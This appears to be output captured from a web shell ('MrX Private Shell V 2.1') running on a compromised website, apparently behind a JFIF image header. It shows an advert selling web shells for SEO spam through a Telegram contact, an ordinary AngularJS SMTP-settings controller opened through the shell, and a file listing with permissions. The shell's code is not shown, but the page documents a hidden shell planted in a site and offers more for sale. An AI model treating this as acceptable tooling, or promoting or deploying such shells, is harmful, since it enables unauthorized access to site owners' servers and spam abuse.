����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
'use strict';
define(['app'], function(app) {
app.controller("notificationEmail", ["$scope", function ($scope) {
if($scope.saveData.options.smtp === undefined) $scope.saveData.options.smtp = 0;
if($scope.saveData.options.smtp_secure === undefined) $scope.saveData.options.smtp_secure = 0;
if($scope.saveData.options.smtp_verifyssl === undefined) $scope.saveData.options.smtp_verifyssl = 1;
if($scope.saveData.options.smtp_timeout === undefined) $scope.saveData.options.smtp_timeout = 15;
$scope.fixBooleanField = function(options, fieldName) {
if(typeof options[fieldName] == 'bigint') return;
if(typeof options[fieldName] == 'boolean') options[fieldName] = options[fieldName] ? 1 : 0;
options[fieldName] = parseInt(options[fieldName]);
};
$scope.$watch('saveData.options.smtp', function () {
$scope.fixBooleanField($scope.saveData.options, 'smtp');
});
$scope.$watch('saveData.options.smtp_verifyssl', function () {
$scope.fixBooleanField($scope.saveData.options, 'smtp_verifyssl');
});
}]);
});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| controller.js | File | 1.02 KB | 0644 |
|
| icon.png | File | 2.83 KB | 0644 |
|
| view.htm | File | 5.96 KB | 0644 |
|